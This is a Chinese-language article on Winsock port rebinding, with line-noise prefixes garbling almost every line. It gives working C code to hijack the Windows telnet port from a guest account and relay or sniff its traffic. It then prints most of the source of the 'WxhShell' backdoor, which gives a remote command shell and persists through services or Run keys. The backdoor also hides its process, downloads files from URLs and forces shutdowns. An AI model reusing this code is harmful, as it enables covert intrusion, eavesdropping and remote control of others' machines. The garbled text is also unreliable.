在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(t3gNin s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$yU}56(z~ +a,#BSt saddr.sin_family = AF_INET;
7R[7M%H `vzMuL; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Pi1LOCq 4P?`<K' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
fcp_<2KH !L;_f'\)6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|8{ k,!P'K fk15O_#3 这意味着什么?意味着可以进行如下的攻击:
sKW~+] 4xT /8>v2| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
shdzkET8N 1O,5bi>t7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:55a9d1bL A-m IWTa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@VHstjos^V e~*tQ4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
NApy(e5% ,)U%6=o#} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}s?w-u+(c6 lAG@nh^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
AXxyB"7A} 4 5wqX h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
WF~x`w&\ :''Swi<H #include
HZ!<dy3 #include
8[,R4@ #include
|Wck-+}U #include
A`~?2LH,~F DWORD WINAPI ClientThread(LPVOID lpParam);
Tt{X(I} J int main()
;2`t0#J$] {
!|V_DsP WORD wVersionRequested;
4VvE(f DWORD ret;
0iC5, WSADATA wsaData;
si~zg\uY BOOL val;
T1RY1hb|g> SOCKADDR_IN saddr;
WoNJF6=? SOCKADDR_IN scaddr;
d14@G4#Bd int err;
6)=;cc{Vr SOCKET s;
hN0h'JJ[7 SOCKET sc;
0n4( Rj|}2 int caddsize;
+B8oW3v# ) HANDLE mt;
R)N^j'R~= DWORD tid;
/EQ^-4yr wVersionRequested = MAKEWORD( 2, 2 );
CD#U`jf err = WSAStartup( wVersionRequested, &wsaData );
!Q_Kil.9 if ( err != 0 ) {
^; U}HAY printf("error!WSAStartup failed!\n");
=B+dhZ+#S$ return -1;
je#LD }
ZvXw#0)v saddr.sin_family = AF_INET;
+3AX1o%p,# c*axw%Us //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q~iEw#0-L $z)egh(z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#68$'Rl"o1 saddr.sin_port = htons(23);
*
#z@b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dEkS T[Y3 {
@o}J ) printf("error!socket failed!\n");
E.N>,N return -1;
{Z!t:'x8 }
FB,rQ9D val = TRUE;
:.BjJ2[S //SO_REUSEADDR选项就是可以实现端口重绑定的
&.yX41R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\%}]wf} {
3AP= printf("error!setsockopt failed!\n");
dci,[TEGu return -1;
XmVst*2= }
RxPD44jVA //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#jxPh!%9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
l.;^w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xrNe:Aj 6r%i=z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
R;U4a2~ {
$%&OaAg ret=GetLastError();
m,6u+Z, printf("error!bind failed!\n");
vz:VegS return -1;
}a UQ#x }
>x~Qa@s; listen(s,2);
+g1+,?cU while(1)
lFA-T I& {
cj2^wmkB caddsize = sizeof(scaddr);
1B 0[dK2N //接受连接请求
=kOo( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*[jq& if(sc!=INVALID_SOCKET)
PRyzvc~ {
UT 7'- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
NVom6K if(mt==NULL)
hDoFF8)c {
\SgBI/L^ printf("Thread Creat Failed!\n");
eAQ-r\h'2 break;
D^t:R?+ }
I&^hG\D }
R:^jQ'1 CloseHandle(mt);
[oXr6M: }
]haQ#e}WH closesocket(s);
r M}o) WSACleanup();
7a/
BS(kq< return 0;
]}&HvrOld }
?aB%h
|VA DWORD WINAPI ClientThread(LPVOID lpParam)
jQfnc:' {
+n
&8" ) SOCKET ss = (SOCKET)lpParam;
]-+l.gVFW SOCKET sc;
5lwMc0{/3 unsigned char buf[4096];
S]e;p\8$Z SOCKADDR_IN saddr;
(2 hI long num;
i\4YT r, DWORD val;
7^#O{QYol DWORD ret;
,x3<a}J //如果是隐藏端口应用的话,可以在此处加一些判断
(II#9n) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
egWfKL&iy saddr.sin_family = AF_INET;
3^)c5kcI saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
BryD?/}P)M saddr.sin_port = htons(23);
;c@B +RquR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O2lM;=" {
OzTR#`oey printf("error!socket failed!\n");
:[C|3KKe" return -1;
(2RuQgO }
%r(qQM.Pl val = 100;
h>z5m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hfvC-f97L {
(@*%moo ret = GetLastError();
,a0RI<D return -1;
0@
vzQ$ }
gEgd/Le if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Hr}\-$ {
6OtNWbB ret = GetLastError();
O^3XhTW^\~ return -1;
Q}
-YD.bx3 }
J0t_wMJa if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O/&Qzt {
7PO]\X^(zE printf("error!socket connect failed!\n");
F}B2nL& closesocket(sc);
,o3`O |PiK closesocket(ss);
>v1.Gm return -1;
Hm~.u.)\. }
NR^3
1&}It while(1)
_?Ly7*UML {
D~2n8h"2ye //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_Q b].~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
\MAv's4b@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4Le{|B num = recv(ss,buf,4096,0);
Izfq`zS+\s if(num>0)
h6:|RGF send(sc,buf,num,0);
?uF3Q)rCk else if(num==0)
{{ 1qkG9$ break;
R0q|{5S num = recv(sc,buf,4096,0);
ny<D1>{90 if(num>0)
zgxMDLH send(ss,buf,num,0);
T I yHM1+ else if(num==0)
EgOiJH break;
=<P$mFP2* }
a{.-qp closesocket(ss);
PoRP]Q*n closesocket(sc);
9G[t
& r return 0 ;
Yg;7TKy }
uPb. uG DeQZDY // $A98h-*x ==========================================================
:4Y5 z;&J9r$` 下边附上一个代码,,WXhSHELL
6ziBGU#.- 0"mr*hyj ==========================================================
d @b ]/ {@ tO9pc`8 #include "stdafx.h"
zRm@ |IT PD^Cj?wm #include <stdio.h>
L~Xzo #include <string.h>
N1l^%Yf J #include <windows.h>
Rvj[Csgi #include <winsock2.h>
pO N@ #include <winsvc.h>
~yY5pnJ #include <urlmon.h>
^W0eRT `pd+as #pragma comment (lib, "Ws2_32.lib")
VexQ ] #pragma comment (lib, "urlmon.lib")
?oU5H 8HWEObRY #define MAX_USER 100 // 最大客户端连接数
-[z1r)RZ #define BUF_SOCK 200 // sock buffer
Et;Ubj"+ #define KEY_BUFF 255 // 输入 buffer
H<l0]-S{ h-%RSei5 #define REBOOT 0 // 重启
ZP<OyX? #define SHUTDOWN 1 // 关机
6D4 j];~X Bdib)t[ #define DEF_PORT 5000 // 监听端口
a.XMeB }Gd^r #define REG_LEN 16 // 注册表键长度
2bOFH6g #define SVC_LEN 80 // NT服务名长度
wqJ1^>TB LUA<N: // 从dll定义API
9#\oGzDN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+GNXV-S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
z+j3j2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%eJE@$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#D%l;Ae i(S}gH4*o // wxhshell配置信息
q =26($ struct WSCFG {
=qww|B92 int ws_port; // 监听端口
t'HrI-x char ws_passstr[REG_LEN]; // 口令
W'Y#(N[ktP int ws_autoins; // 安装标记, 1=yes 0=no
KWn. char ws_regname[REG_LEN]; // 注册表键名
-8sB\E char ws_svcname[REG_LEN]; // 服务名
5Qxm\?0J char ws_svcdisp[SVC_LEN]; // 服务显示名
Yi|Nd ; char ws_svcdesc[SVC_LEN]; // 服务描述信息
S\6.vw!' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mzn#4;m$ int ws_downexe; // 下载执行标记, 1=yes 0=no
dMa6hI{k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y-]Ne"+vf char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H|<Zm:.%$ -K0!wrKC };
P A$jR
fQ
R7Z! // default Wxhshell configuration
Ym9~/'%] struct WSCFG wscfg={DEF_PORT,
3moDu "xuhuanlingzhe",
2Gn26L5 1,
y~py+:_ "Wxhshell",
uL=FK "Wxhshell",
!InC8+be "WxhShell Service",
8LGNV&Edg "Wrsky Windows CmdShell Service",
o AM)<#U> "Please Input Your Password: ",
+LaR_n[ 1,
\!4_m8? "
http://www.wrsky.com/wxhshell.exe",
f+4j ^y} "Wxhshell.exe"
"E7YCZQR };
m@g9+7 1m<8M[6u // 消息定义模块
w*gG1BV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'A'[N :i char *msg_ws_prompt="\n\r? for help\n\r#>";
Jmun^Q/h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
bfKF6 char *msg_ws_ext="\n\rExit.";
R-1C#R[ char *msg_ws_end="\n\rQuit.";
:E2 ww` char *msg_ws_boot="\n\rReboot...";
@gjA8mL char *msg_ws_poff="\n\rShutdown...";
B[r04YGh char *msg_ws_down="\n\rSave to ";
dEPLkv +sx$%N char *msg_ws_err="\n\rErr!";
yjIA`5^ char *msg_ws_ok="\n\rOK!";
QJU\YH%} v}Kj+9h char ExeFile[MAX_PATH];
H~lvUHN int nUser = 0;
I$oqFF|D HANDLE handles[MAX_USER];
$)VnHr `hy int OsIsNt;
$Sd pF-' x]~&4fp SERVICE_STATUS serviceStatus;
Tvd: P^C SERVICE_STATUS_HANDLE hServiceStatusHandle;
l|K$6>80 .hK:-q, // 函数声明
C\}M_MD int Install(void);
F??gVa aj int Uninstall(void);
jh/aK_Q,w int DownloadFile(char *sURL, SOCKET wsh);
y`J8hawp int Boot(int flag);
!PJp() void HideProc(void);
mD;ioaE
int GetOsVer(void);
mtVoA8(6 int Wxhshell(SOCKET wsl);
&L r~x#Wx void TalkWithClient(void *cs);
8Bx58$xRq int CmdShell(SOCKET sock);
f;obK~b[ int StartFromService(void);
"$A5:1; int StartWxhshell(LPSTR lpCmdLine);
W@Rb"5Gy+ P}"uC`036 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`a9iq> VOID WINAPI NTServiceHandler( DWORD fdwControl );
\qtdbi|Y G@scz!Nt // 数据结构和表定义
\/R $p SERVICE_TABLE_ENTRY DispatchTable[] =
96<0= {
a.fdCI]% {wscfg.ws_svcname, NTServiceMain},
- 9a4ej5 {NULL, NULL}
k;jXVa };
P
4+}<5 F[]6U/g n // 自我安装
#hXxrN int Install(void)
cue aOtD {
+nL#c{ char svExeFile[MAX_PATH];
%#E$wz HKEY key;
K7wU
tg strcpy(svExeFile,ExeFile);
^m -w@0^z OOnhT // 如果是win9x系统,修改注册表设为自启动
q I*7ToBJ if(!OsIsNt) {
I6PReVIb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j8;Uny9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)&qr2Cm* RegCloseKey(key);
2W}jbOy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R]4
h)" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ff
6x4t RegCloseKey(key);
%+ytX]E return 0;
\Yh*ywwP# }
s\0,@A }
\f@obp }
Wjr^: d else {
me$nP}%C& Cm9#FA // 如果是NT以上系统,安装为系统服务
_}tPtHPa/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\4>& zb4 if (schSCManager!=0)
]U,m
1 {
@Y!B~ SC_HANDLE schService = CreateService
cJzkA^T9 (
S{N=9934_ schSCManager,
$4hi D;n wscfg.ws_svcname,
~bz$] o-< wscfg.ws_svcdisp,
/q)
H0b SERVICE_ALL_ACCESS,
<Df2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Hp[i8PJ SERVICE_AUTO_START,
gObafIA SERVICE_ERROR_NORMAL,
~Gl5O`w( svExeFile,
u-*z#e_L0 NULL,
ahFK^ #s NULL,
m;!X{CV NULL,
3rX40>Cs8 NULL,
3 6t^iV*3 NULL
*bUOd'vh );
wV\G$|Y if (schService!=0)
*'@sm* {
,s/laZ)V CloseServiceHandle(schService);
ll*Ez"
CloseServiceHandle(schSCManager);
cUn>gT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|-z"6F r- strcat(svExeFile,wscfg.ws_svcname);
m]c1DvQb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
gH*(1* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2Sk"S/4}Z RegCloseKey(key);
j1=su~ return 0;
35 L\ }
D;[%*q* }
= BbG2k CloseServiceHandle(schSCManager);
^
4*#QtO }
|XV`A)=f }
@r(3 $:&b5=i return 1;
WJMmt XO }
;te( {u+ 8Wgzca
Q* // 自我卸载
@U@O#+d'ZR int Uninstall(void)
[~c_Aa+6N {
ppGWh HKEY key;
59i2*<k x=kJlGT if(!OsIsNt) {
8fktk?| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2#N?WlYw<S RegDeleteValue(key,wscfg.ws_regname);
A(H2Gt
D RegCloseKey(key);
=Aw`0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`ZT/lB` RegDeleteValue(key,wscfg.ws_regname);
A5Q4wy` RegCloseKey(key);
m#4h5_N return 0;
oTrit_@3 }
D
!{e }
/IF?|71,m }
DuLl"w\_@ else {
|;&I$'i EAy@kzY? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
MhJA8|B6| if (schSCManager!=0)
~+V$0Q;L {
^ E.mG> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.zTkOkL if (schService!=0)
FR>[g`1 {
D1@yW}
4 if(DeleteService(schService)!=0) {
&3 Ki CloseServiceHandle(schService);
#Nad1C/] CloseServiceHandle(schSCManager);
T(Bcp^N return 0;
vU(fd!V ? }
Yq4nmr4 CloseServiceHandle(schService);
oTx>oM, }
e)m6xiZ CloseServiceHandle(schSCManager);
2cSc
8 }
y]+[o1]-c }
A.h0 H]*Ma 1_l)$" return 1;
&N]e pV> }
H!Dj.]T Q)lD2 // 从指定url下载文件
Z int DownloadFile(char *sURL, SOCKET wsh)
\DWKG~r-% {
V<?0(esgR HRESULT hr;
-yb7s2o char seps[]= "/";
Jd',v char *token;
5.DmMG[T^= char *file;
dvz6 char myURL[MAX_PATH];
h7@%}<% char myFILE[MAX_PATH];
Qwve-[ teC/Uf5 strcpy(myURL,sURL);
g3^:)$m token=strtok(myURL,seps);
{47Uu%XT while(token!=NULL)
Ye$;
d ~ {
mN . file=token;
s@GE(Pu7 token=strtok(NULL,seps);
9W_mSum }
2|]
<U[ [_(uz,' GetCurrentDirectory(MAX_PATH,myFILE);
27,c}OS5o strcat(myFILE, "\\");
k\9kOZW strcat(myFILE, file);
)X:Sfk send(wsh,myFILE,strlen(myFILE),0);
<a&xhG} send(wsh,"...",3,0);
5rc3jIXc{| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.726^2sx if(hr==S_OK)
fY?:SPR+ return 0;
2(Yg',aMY- else
cfRUVe return 1;
+nim47 *5?Qam3 }
b?VByJl -AU'1iRcK7 // 系统电源模块
a=x&sz\x int Boot(int flag)
qn{4AWmJ {
9j5|o([J HANDLE hToken;
E:+r.r"Y TOKEN_PRIVILEGES tkp;
5wE6 gRJ #$L/pRC if(OsIsNt) {
%++S;#)~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Uovna:" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
mwN"Cu4t tkp.PrivilegeCount = 1;
#3eI4KJ4+l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^eefR5^_w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%cDDu$9; if(flag==REBOOT) {
RlU ?F
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
xj&~>&U){; return 0;
.6y*Z+Zg }
[;4ak)! else {
^k{/Yl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
f)gV2f0t return 0;
p_e x }
e%4vvPp }
}H
saJ=1U else {
(~! @Uz5 if(flag==REBOOT) {
U3v~R4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)"|wWu return 0;
[D(JEO@ : }
oL }d=x/ else {
O U9{Y9e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;~WoJlEK3 return 0;
=knLkbiq7, }
'O9Yu{M }
$Fy~xMA8O z|Xt'?9&n return 1;
3-n&&< }
0}'/p N> ";jAH GbO // win9x进程隐藏模块
xdY'i0fh void HideProc(void)
p)"EenUK {
.L^;aL :B|rs& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K;s` if ( hKernel != NULL )
QfM^J5j.M? {
W~i0.rg|> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
mz;ExV16 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
E5c)\
D FreeLibrary(hKernel);
E%stFyr9`/ }
@Eh(GZN 3+:NX6Ewb* return;
3W.D^^)eCV }
:J )^gc -GQ.B{%G // 获取操作系统版本
=&qfmq int GetOsVer(void)
e(`r"RrQ {
N "eK9> OSVERSIONINFO winfo;
F^TOLwix winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
,.gJ8p(0x GetVersionEx(&winfo);
KpS=oFX{} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Qt^6w}& return 1;
M$f_I + else
b+Vlq7Bc return 0;
N5k9o:2 }
q?L*Luu+ ,c;#~y // 客户端句柄模块
cRf;7G int Wxhshell(SOCKET wsl)
hKsx7`[ {
Esg: SOCKET wsh;
Y!|}; struct sockaddr_in client;
g K dNgU DWORD myID;
Vt9o8naz Tilr%D(Q while(nUser<MAX_USER)
<!|=_W6 {
gKIN* Od int nSize=sizeof(client);
b~8&P_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=aehhs> if(wsh==INVALID_SOCKET) return 1;
}ASBP:c"t W$Aypy
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f9n4/(Cy if(handles[nUser]==0)
7FP"]\x closesocket(wsh);
U?(,Z$:N else
_tO2PIL@Z nUser++;
n4ti{-^4|d }
C|QJQ@bj0
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-**fT?n 2Paw*"U return 0;
!W=2ZlzS }
({!*&DVu !A_KCM:Ym // 关闭 socket
uuCVI2| void CloseIt(SOCKET wsh)
>>=v`} {
wo^1%:@/2 closesocket(wsh);
Yc(lY
N nUser--;
D[Ld=e8t ExitThread(0);
Aca?C }
$>%zNq-F
`k08M) // 客户端请求句柄
H{Na'_sL void TalkWithClient(void *cs)
[@s5v {
<5sfII +,9Muf h SOCKET wsh=(SOCKET)cs;
^}GR!990 char pwd[SVC_LEN];
a+\s 0Qo< char cmd[KEY_BUFF];
[3W+h1 char chr[1];
Mz6|#P}.s int i,j;
]6HnK% 89A04HX while (nUser < MAX_USER) {
i{>YQ ]O+Nl5* if(wscfg.ws_passstr) {
0j{KZy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/3~}= b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`P9%[8`C 9 //ZeroMemory(pwd,KEY_BUFF);
VU|Cct&) i=0;
6IM:Xj while(i<SVC_LEN) {
G@S'_ vYG$>* // 设置超时
S'vUxOAo fd_set FdRead;
5cl%>U struct timeval TimeOut;
nL!nzA FD_ZERO(&FdRead);
_Hq)mF FD_SET(wsh,&FdRead);
H0mDs7 TimeOut.tv_sec=8;
H*>5ne=x TimeOut.tv_usec=0;
yAVt[+0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
DzCb'# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
cGjkx3l* ^kj%Ekt7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Bk~M ^AK@~ pwd
=chr[0]; /ec~^S8X
if(chr[0]==0xd || chr[0]==0xa) { G{oM2`c'#8
pwd=0; BH=CoD.
break; J7rfHhz
} -3:x(^|:K
i++; 4'#
_b
} k$} 6Qd
h%@#jvh?4
// 如果是非法用户,关闭 socket [p_C?hHO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bjq2XP?LL
} y<5xlN(+v
rW3fd.;kss
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P(Hh%9'(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y~M H
.c.#V:XZ#U
while(1) { Ss7XjWP.}
<$
Ar*<,6
ZeroMemory(cmd,KEY_BUFF); sWnU*Q
~UJ_Rr54
// 自动支持客户端 telnet标准 \6${Na'\
j=0; u5FlT3hY.
while(j<KEY_BUFF) { ^UK6q2[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gwkp(9d
cmd[j]=chr[0]; ZK]C!8\2|
if(chr[0]==0xa || chr[0]==0xd) { SLc'1{
cmd[j]=0; [(N<E/m %B
break; Z5o6RTi
} Z`b{r;`m8
j++; 4<&`\<jZ
} :
LI*#~'Ka
)/9/p17:xu
// 下载文件 zW^@\kB0D
if(strstr(cmd,"http://")) { Sc*O_c3D
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [nlW}1)46
if(DownloadFile(cmd,wsh)) FiqcM-Af4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f+huhJS5e
else Hd)4_
uBt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7>J8\=
} ?J~(qa a;
else { ;HJ|)PN5L
LdAfY0
switch(cmd[0]) { v7/qJ9l
2@aVoqrq#
// 帮助 9Qb_BNUo
case '?': { fNx3\<~V=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X&6p_Lo
break; _S#uxgL<
} &la;Vu"dp
// 安装 ?j8F5(HF?
case 'i': { vd9><W
if(Install()) *#,wV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfBVF%90
else M: qeqn+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j']m*aM1>
break; PK5xnT:
} n8[
sl]L
// 卸载 D`LcL|nmH
case 'r': { ?*a:f"vQ
if(Uninstall()) FMuM:%&J]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hof:+aW
else ]v3 9ag_hu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A\_cGM2
break; RUmJ=i'4/
} |b52JF
",
// 显示 wxhshell 所在路径 qde.;Yv9
case 'p': { QdL
;|3K9
char svExeFile[MAX_PATH]; *S_eYKSl
strcpy(svExeFile,"\n\r"); k#%BxT
strcat(svExeFile,ExeFile); g&H6~ +\
send(wsh,svExeFile,strlen(svExeFile),0); |Gb"%5YD
break; VAF+\Cea=
} w3c[t~R8
// 重启 T2
0dZ8{y
case 'b': { X 6/k `J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {b[8x
if(Boot(REBOOT)) [:
X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VC\43A,9
else { AW4N#gt8',
closesocket(wsh); 52BlFBNV
ExitThread(0); Aq}]{gfQ1
} o-B9r+N
break; -82Rz
} &+=A;Y)
// 关机 O2?ye 4uq
case 'd': { Hm4:m$=p4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;OQ{
if(Boot(SHUTDOWN)) &""~Pn8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tB4- of3+
else { cpp0Y^
closesocket(wsh); Zg%U4m:
ExitThread(0); s"<k)Xi
} Z+@"
break;
DHJh.Y@H
} \aQBzEX
// 获取shell ?&ThMWl
case 's': { b40zYH`'{
CmdShell(wsh); 6$w)"Rq
closesocket(wsh); B5aFt ;Vj
ExitThread(0); -kxNJ Gc?
break; $ckX H,l_
} W`K XO|'p@
// 退出 z,[4BM
case 'x': { (Kd;l&8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dU\,>3tG
CloseIt(wsh); 5bR;R{:x
break; wj9CL1Gx
} 0:R}
// 离开 8E"Ik~
case 'q': { 7-.YVM~R
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~mx me6"v
closesocket(wsh); k5]s~*,0
WSACleanup(); .a1WwI
exit(1); W~k"`g7uu
break;
cHs@1R/-s
} K?,eIZ{.S
} $&